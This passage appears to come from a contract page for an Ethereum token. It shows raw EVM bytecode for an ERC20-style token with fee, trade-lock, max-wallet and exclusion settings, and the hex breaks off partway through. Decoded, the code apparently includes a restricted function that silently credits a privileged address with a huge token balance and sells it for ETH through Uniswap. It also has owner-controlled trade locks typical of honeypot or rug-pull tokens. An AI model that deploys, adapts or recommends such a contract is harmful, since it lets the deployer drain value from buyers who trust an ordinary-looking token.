a257600080fd5b506103ab610f93565b6040516103b992919061306c565b60405180910390f35b3480156103ce57600080fd5b506103d7610fa4565b6040516103e491906130b1565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f91906130cc565b610fbb565b6040516104219190612f65565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190612ee0565b611150565b60405161045e9190612f3b565b60405180910390f35b34801561047357600080fd5b5061048e600480360381019061048991906130cc565b611180565b005b34801561049c57600080fd5b506104b760048036038101906104b29190612fd9565b6111f0565b005b3480156104c557600080fd5b506104e060048036038101906104db91906130cc565b611309565b6040516104ed9190612f3b565b60405180910390f35b34801561050257600080fd5b5061051d600480360381019061051891906130f9565b61135f565b005b34801561052b57600080fd5b50610546600480360381019061054191906130cc565b6113ee565b6040516105539190612f3b565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e91906130cc565b611444565b6040516105909190612f65565b60405180910390f35b3480156105a557600080fd5b506105ae61148d565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906130cc565b6114a1565b6040516105e49190612f3b565b60405180910390f35b3480156105f957600080fd5b506106026114c1565b60405161060f9190613148565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a9190612fd9565b6114ea565b005b34801561064d57600080fd5b50610656611603565b6040516106639190612e16565b60405180910390f35b34801561067857600080fd5b50610693600480360381019061068e91906130cc565b611695565b6040516106a09190612f3b565b60405180910390f35b3480156106b557600080fd5b506106be6116eb565b6040516106cb9190612f3b565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612ee0565b611702565b6040516107089190612f3b565b60405180910390f35b34801561071d57600080fd5b5061073860048036038101906107339190612ee0565b611772565b6040516107459190612f3b565b60405180910390f35b34801561075a57600080fd5b5061077560048036038101906107709190612fd9565b61178e565b005b34801561078357600080fd5b5061079e60048036038101906107999190613163565b6118a7565b005b3480156107ac57600080fd5b506107b56118f0565b005b3480156107c357600080fd5b506107de60048036038101906107d99190613190565b611926565b6040516107eb9190612f65565b60405180910390f35b34801561080057600080fd5b506108096119ad565b6040516108169190612f65565b60405180910390f35b34801561082b57600080fd5b506108346119b7565b6040516108419190613148565b60405180910390f35b34801561085657600080fd5b50610871600480360381019061086c91906130cc565b6119dd565b60405161087e9190612f3b565b60405180910390f35b34801561089357600080fd5b506108ae60048036038101906108a99190613190565b611a33565b005b3480156108bc57600080fd5b506108d760048036038101906108d291906130cc565b611c87565b005b3480156108e557600080fd5b506108ee611d0a565b6040516108fb9190612f65565b60405180910390f35b606060088054610913906131ff565b80601f016020809104026020016040519081016040528092919081815260200182805461093f906131ff565b801561098c5780601f106109615761010080835404028352916020019161098c565b820191906000526020600020905b81548152906001019060200180831161096f57829003601f168201915b5050505050905090565b6000803390506109a7818585611d14565b600191505092915050565b6109de33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b60006109e930610fbb565b90506000816dffffffffffffffffffffffffffff8016610a09919061325f565b9050610a13611f4f565b610a2530610a2033611444565b611772565b50610a6330600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611d14565b6060600267ffffffffffffffff811115610a8057610a7f613293565b5b604051908082528060200260200182016040528015610aae5781602001602082028036833780820191505090505b5090503081600081518110610ac657610ac56132c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b919190613306565b81600181518110610ba557610ba46132c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610c359190613333565b6040518663ffffffff1660e01b8152600401610c5595949392919061346a565b6000604051808303816000875af1158015610c74573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610c9d91906135f2565b5050505050565b610cd033600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b610ce230610cdd33611444565b611772565b50610d1830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d1330611444565b611d14565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610d6130611444565b600080336104b042610d739190613333565b6040518863ffffffff1660e01b8152600401610d949695949392919061363b565b60606040518083038185885af1158015610db2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dd7919061369c565b505050565b6000600754905090565b610e1233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b80600f8190555050565b610e4833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed19061373b565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610f6133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b8060118190555050565b600080339050610f7c858285611fb7565b610f87858585612043565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561102d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105191906137dd565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111009190613306565b73ffffffffffffffffffffffffffffffffffffffff161461113157816dffffffffffffffffffffffffffff16611143565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506111758185856111668589611926565b6111709190613333565b611d14565b600191505092915050565b6111ac33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61121c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a59061373b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61138b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b6014821115801561139d575060148111155b6113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d3906138a2565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114956129d8565b61149f6000612a4f565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61151633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036115a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159f9061373b565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b606060098054611612906131ff565b80601f016020809104026020016040519081016040528092919081815260200182805461163e906131ff565b801561168b5780601f106116605761010080835404028352916020019161168b565b820191906000526020600020905b81548152906001019060200180831161166e57829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006117148286611926565b905083811015611759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175090613934565b60405180910390fd5b6117668286868403611d14565b60019250505092915050565b600080339050611783818585612043565b600191505092915050565b6117ba33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361184c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118439061373b565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6118d333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b80601360006101000a81548160ff02191690831515021790555050565b61191c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b611924611f4f565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611a5f33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611af65781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc89190613306565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611c02929190613954565b602060405180830381865afa158015611c1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c439190613306565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611c8f6129d8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf5906139ef565b60405180910390fd5b611d0781612a4f565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90613a81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de990613b13565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ed09190612f65565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4290613ba5565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fae9190613333565b92505081905550565b6000611fc38484611926565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461203d578181101561202f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202690613c11565b60405180910390fd5b61203c8484848403611d14565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a990613ca3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612121576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211890613d35565b60405180910390fd5b61212c838383612b13565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121aa90613dc7565b60405180910390fd5b601360009054906101000a900460ff1615612304576121d184612cad565b1561226757601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225990613e59565b60405180910390fd5b612303565b61227083612cad565b1561230257601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f890613e59565b60405180910390fd5b5b5b5b61230d84611309565b158015612320575061231e83611309565b155b156128bc5761232e84612cad565b1561256857600061234183600b54612d5f565b9050828261234f919061325f565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361239e919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123ec9190613333565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661244e919061325f565b60405161245b9190612f65565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124d49190613333565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161255a9190612f65565b60405180910390a3506128b7565b61257183612cad565b156127ab57600061258483600c54612d5f565b90508282612592919061325f565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836125e1919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461262f9190613333565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612691919061325f565b60405161269e9190612f65565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127179190613333565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161279d9190612f65565b60405180910390a3506128b6565b81816127b7919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128499190613333565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128ad9190612f65565b60405180910390a35b5b6129c7565b81816128c8919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461295a9190613333565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129be9190612f65565b60405180910390a35b6129d2848484612d81565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166129f76114c1565b73ffffffffffffffffffffffffffffffffffffffff1614612a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4490613ec5565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600f5414158015612b2c5750612b2a82612cad565b155b8015612b3e5750612b3c826113ee565b155b8015612b505750612b4e836113ee565b155b15612bae57600f5481612b6284611444565b612b6c9190613333565b1115612bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba490613f57565b60405180910390fd5b5b600060115414612ca857601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c5c5750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ca757601154811115612ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9d90613fc3565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612d585750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b600060648284612d6f9190613fe3565b612d799190614054565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dc0578082015181840152602081019050612da5565b60008484015250505050565b6000601f19601f8301169050919050565b6000612de882612d86565b612df28185612d91565b9350612e02818560208601612da2565b612e0b81612dcc565b840191505092915050565b60006020820190508181036000830152612e308184612ddd565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e7782612e4c565b9050919050565b612e8781612e6c565b8114612e9257600080fd5b50565b600081359050612ea481612e7e565b92915050565b6000819050919050565b612ebd81612eaa565b8114612ec857600080fd5b50565b600081359050612eda81612eb4565b92915050565b60008060408385031215612ef757612ef6612e42565b5b6000612f0585828601612e95565b9250506020612f1685828601612ecb565b9150509250929050565b60008115159050919050565b612f3581612f20565b82525050565b6000602082019050612f506000830184612f2c565b92915050565b612f5f81612eaa565b82525050565b6000602082019050612f7a6000830184612f56565b92915050565b600060208284031215612f9657612f95612e42565b5b6000612fa484828501612ecb565b91505092915050565b612fb681612f20565b8114612fc157600080fd5b50565b600081359050612fd381612fad565b92915050565b60008060408385031215612ff057612fef612e42565b5b6000612ffe85828601612e95565b925050602061300f85828601612fc4565b9150509250929050565b60008060006060848603121561303257613031612e42565b5b600061304086828701612e95565b935050602061305186828701612e95565b925050604061306286828701612ecb565b9150509250925092565b60006040820190506130816000830185612f56565b61308e6020830184612f56565b9392505050565b600060ff82169050919050565b6130ab81613095565b82525050565b60006020820190506130c660008301846130a2565b92915050565b6000602082840312156130e2576130e1612e42565b5b60006130f084828501612e95565b91505092915050565b600080604083850312156131105761310f612e42565b5b600061311e85828601612ecb565b925050602061312f85828601612ecb565b9150509250929050565b61314281612e6c565b82525050565b600060208201905061315d6000830184613139565b92915050565b60006020828403121561317957613178612e42565b5b600061318784828501612fc4565b91505092915050565b600080604083850312156131a7576131a6612e42565b5b60006131b585828601612e95565b92505060206131c685828601612e95565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061321757607f821691505b60208210810361322a576132296131d0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061326a82612eaa565b915061327583612eaa565b925082820390508181111561328d5761328c613230565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061330081612e7e565b92915050565b60006020828403121561331c5761331b612e42565b5b600061332a848285016132f1565b91505092915050565b600061333e82612eaa565b915061334983612eaa565b925082820190508082111561336157613360613230565b5b92915050565b6000819050919050565b6000819050919050565b600061339661339161338c84613367565b613371565b612eaa565b9050919050565b6133a68161337b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133e181612e6c565b82525050565b60006133f383836133d8565b60208301905092915050565b6000602082019050919050565b6000613417826133ac565b61342181856133b7565b935061342c836133c8565b8060005b8381101561345d57815161344488826133e7565b975061344f836133ff565b925050600181019050613430565b5085935050505092915050565b600060a08201905061347f6000830188612f56565b61348c602083018761339d565b818103604083015261349e818661340c565b90506134ad6060830185613139565b6134ba6080830184612f56565b9695505050505050565b600080fd5b6134d282612dcc565b810181811067ffffffffffffffff821117156134f1576134f0613293565b5b80604052505050565b6000613504612e38565b905061351082826134c9565b919050565b600067ffffffffffffffff8211156135305761352f613293565b5b602082029050602081019050919050565b600080fd5b60008151905061355581612eb4565b92915050565b600061356e61356984613515565b6134fa565b9050808382526020820190506020840283018581111561359157613590613541565b5b835b818110156135ba57806135a68882613546565b845260208401935050602081019050613593565b5050509392505050565b600082601f8301126135d9576135d86134c4565b5b81516135e984826020860161355b565b91505092915050565b60006020828403121561360857613607612e42565b5b600082015167ffffffffffffffff81111561362657613625612e47565b5b613632848285016135c4565b91505092915050565b600060c0820190506136506000830189613139565b61365d6020830188612f56565b61366a604083018761339d565b613677606083018661339d565b6136846080830185613139565b61369160a0830184612f56565b979650505050505050565b6000806000606084860312156136b5576136b4612e42565b5b60006136c386828701613546565b93505060206136d486828701613546565b92505060406136e586828701613546565b9150509250925092565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000613725601d83612d91565b9150613730826136ef565b602082019050919050565b6000602082019050818103600083015261375481613718565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61377e8161375b565b811461378957600080fd5b50565b60008151905061379b81613775565b92915050565b600063ffffffff82169050919050565b6137ba816137a1565b81146137c557600080fd5b50565b6000815190506137d7816137b1565b92915050565b6000806000606084860312156137f6576137f5612e42565b5b60006138048682870161378c565b93505060206138158682870161378c565b9250506040613826868287016137c8565b9150509250925092565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2032300000000000000000000000000000000000000000000000000000000000602082015250565b600061388c602383612d91565b915061389782613830565b604082019050919050565b600060208201905081810360008301526138bb8161387f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061391e602583612d91565b9150613929826138c2565b604082019050919050565b6000602082019050818103600083015261394d81613911565b9050919050565b60006040820190506139696000830185613139565b6139766020830184613139565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006139d9602683612d91565b91506139e48261397d565b604082019050919050565b60006020820190508181036000830152613a08816139cc565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613a6b602483612d91565b9150613a7682613a0f565b604082019050919050565b60006020820190508181036000830152613a9a81613a5e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613afd602283612d91565b9150613b0882613aa1565b604082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b8f602183612d91565b9150613b9a82613b33565b604082019050919050565b60006020820190508181036000830152613bbe81613b82565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613bfb601d83612d91565b9150613c0682613bc5565b602082019050919050565b60006020820190508181036000830152613c2a81613bee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c8d602583612d91565b9150613c9882613c31565b604082019050919050565b60006020820190508181036000830152613cbc81613c80565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d1f602383612d91565b9150613d2a82613cc3565b604082019050919050565b60006020820190508181036000830152613d4e81613d12565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613db1602683612d91565b9150613dbc82613d55565b604082019050919050565b60006020820190508181036000830152613de081613da4565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e43602283612d91565b9150613e4e82613de7565b604082019050919050565b60006020820190508181036000830152613e7281613e36565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613eaf602083612d91565b9150613eba82613e79565b602082019050919050565b60006020820190508181036000830152613ede81613ea2565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b6000613f41602a83612d91565b9150613f4c82613ee5565b604082019050919050565b60006020820190508181036000830152613f7081613f34565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b6000613fad601483612d91565b9150613fb882613f77565b602082019050919050565b60006020820190508181036000830152613fdc81613fa0565b9050919050565b6000613fee82612eaa565b9150613ff983612eaa565b925082820261400781612eaa565b9150828204841483151761401e5761401d613230565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061405f82612eaa565b915061406a83612eaa565b92508261407a57614079614025565b5b82820490509291505056fea26469706673582212200c60f7e66a89263d861ecc8e03d5f081928919ebbc392cfa2affabd0b687eac564736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Deployed Bytecode

0x6080604052600436106102255760003560e01c8063715018a611610123578063b179ce40116100ab578063e4440a861161006f578063e4440a861461081f578063ecbe5a2d1461084a578063f1fee6a214610887578063f2fde38b146108b0578063f6d1dfe1146108d957610225565b8063b179ce401461074e578063b49f93f714610777578063d445d19e146107a0578063dd62ed3e146107b7578063e1370dd3146107f457610225565b806395d89b41116100f257806395d89b411461064157806399b102b51461066c578063a07fc5a2146106a9578063a457c2d7146106d4578063a9059cbb1461071157610225565b8063715018a61461059957806385ecafd7146105b05780638da5cb5b146105ed5780638dd0f4111461061857610225565b80632df8bca9116101b15780635337cc99116101755780635337cc99146104905780635342acb4146104b95780636db79437146104f65780636dd3d39f1461051f57806370a082311461055c57610225565b80632df8bca914610396578063313ce567146103c257806335d16274146103ed578063395093511461042a5780634d474d421461046757610225565b806318160ddd116101f857806318160ddd146102b35780631c499ab0146102de5780631f6b29f714610307578063203e727e1461033057806323b872dd1461035957610225565b806306fdde031461022a578063095ea7b3146102555780630b45260e146102925780630bc488c5146102a9575b600080fd5b34801561023657600080fd5b5061023f610904565b60405161024c9190612e16565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612ee0565b610996565b6040516102899190612f3b565b60405180910390f35b34801561029e57600080fd5b506102a76109b2565b005b6102b1610ca4565b005b3480156102bf57600080fd5b506102c8610ddc565b6040516102d59190612f65565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190612f80565b610de6565b005b34801561031357600080fd5b5061032e60048036038101906103299190612fd9565b610e1c565b005b34801561033c57600080fd5b5061035760048036038101906103529190612f80565b610f35565b005b34801561036557600080fd5b50610380600480360381019061037b9190613019565b610f6b565b60405161038d9190612f3b565b60405180910390f35b3480156103a257600080fd5b506103ab610f93565b6040516103b992919061306c565b60405180910390f35b3480156103ce